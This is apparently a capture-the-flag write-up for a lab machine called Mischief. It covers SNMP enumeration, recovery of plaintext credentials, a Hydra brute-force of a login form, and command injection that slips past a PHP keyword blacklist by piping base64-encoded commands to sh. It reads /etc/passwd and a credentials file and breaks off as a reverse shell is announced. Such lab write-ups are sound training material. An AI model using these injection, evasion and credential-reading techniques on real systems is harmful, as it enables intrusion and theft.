PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA) | 256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA) |_ 256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519) 3366/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer) | http-auth: | HTTP/1.0 401 Unauthorized\x0D |_ Basic realm=Test |_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1 |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap -sV -sC -sU --top-ports 1000 10.10.10.92
1 2
PORT STATE SERVICE REASON 161/udp open snmp udp-response ttl 63
Accessing the port 3366 via browser we are asked to inser HTTP credentials. From the snmp scan we found that the PID 589 is associate with a python program:
The process simply spawn a HTTP server on port 3366 with user loki and password godofmischiefisloki.
Simple Network Management Protocol (SNMP) is an Internet Standard protocol for collecting and organizing information about managed devices on IP networks and for modifying that information to change device behavior. Devices that typically support SNMP include cable modems, routers, switches, servers, workstations, printers, and more.
SNMP is widely used in network management for network monitoring. SNMP exposes management data in the form of variables on the managed systems organized in a management information base (MIB) which describe the system status and configuration. These variables can then be remotely queried (and, in some circumstances, manipulated) by managing applications.
Using those credentials we can login on port 3366. From the main page we found another pair of credentials:
1 2
loki godofmischiefisloki loki trickeryanddeceit
From snmp-netstat we saw that there are other ports open bind to \*:\*:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The page asks for a login and no know vulnerabilities were found on the form so we started hydra with usernames from namelist.txt (from metasploit) and passwords:
1 2
godofmischiefisloki trickeryanddeceit
The program returned a pair of credentials:
1 2 3 4 5 6
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-09-21 17:33:47 [DATA] max 64 tasks per 1 server, overall 64 tasks, 22908 login tries (l:1909/p:12), ~358 tries per task [DATA] attacking http-post-form://mischief.htb:80//login.php:user=^USER^&password=^PASS^:Sorry, those credentials do not match [80][http-post-form] host: mischief.htb login: administrator password: trickeryanddeceit
The web form simply execute every command insert but some of them are blacklisted, we can use:
cat
echo
ping
tar
sh
source
sleep
id
whoami
python
but the main problem is that we don’t have any output.
After many tries we found that we can have the output of the command only if we add another command:
curl -X POST http://mischief.htb/ --data="command=<cmd1>;<cmd2>" will prints the output of <cmd1>
N.B.: mischief.htb is simply a hosts binding for the IPv6 address
curl -X POST http://mischief.htb/ Cookie:"PHPSESSID=0shjckk27ntheutfa7gpko3763" --data "command=cat /etc/passwd;id"
Since we can’t use ls we need to find escape the shell constraints.
Searching for escaping techiniques we found that we can base64-encode a command and the issue the command echo -n "<aBase64String>|base64 -d|sh" to actually run the command on the remote machine.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import requests from base64 import b64encode from sys import argv
In /home/loki we found a credentials file (user.txt is not readable from www-data):
1 2 3
python cmd_loki.py "cat /home/loki/credentials" pass: lokiisthebestnorsegod Command was executed succesfully!
We can now login with SSH a loki and get the user flag:
Running LinEnum it did not show something exploitables and now know exploit exists for the kernel version 4.15.0-20 so we focused on known services that could hide some credentials/informations.
if(isset($_POST['command'])) { $cmd = $_POST['command']; if (strpos($cmd, "nc" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "bash" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "chown" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "setfacl" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "chmod" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "perl" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "find" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "locate" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "ls" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "php" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "wget" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "curl" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "dir" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "ftp" ) !== false){ echo"Command is not allowed."; } elseif (strpos($cmd, "telnet" ) !== false){ echo"Command is not allowed."; } else { system("$cmd > /dev/null 2>&1"); echo"Command was executed succesfully!"; } }
From loki‘s bash history we found that he executed sudo su, su and sudo -l but now those commands returns -bash: /usr/bin/sudo: Permission denied.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery exit free -mt ifconfig cd /etc/ sudo su su exit su root ls -la sudo -l ifconfig id cat .bash_history nano .bash_history exit
Since we know that there is sudo involed we returned to www-data and spawned a reverse shell (using IPv6) using our RCE:
